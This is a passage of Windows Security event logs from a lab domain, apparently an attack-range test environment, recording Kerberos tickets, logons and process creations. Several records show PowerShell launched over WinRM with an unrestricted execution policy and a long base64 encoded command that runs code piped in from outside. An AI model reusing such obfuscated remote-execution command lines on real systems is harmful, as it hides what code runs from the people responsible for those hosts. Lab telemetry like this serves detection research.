The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257529
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257528
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257527
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x278
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa10
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257524
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524A48

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257523
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524A48
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257522
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257521
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257520
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257519
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa10
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257518
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Process Information:
	New Process ID:		0xa10
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257517
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257516
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5d8
	Process Name:		C:\Windows\System32\svchost.exe
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257567
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa4c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x778
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 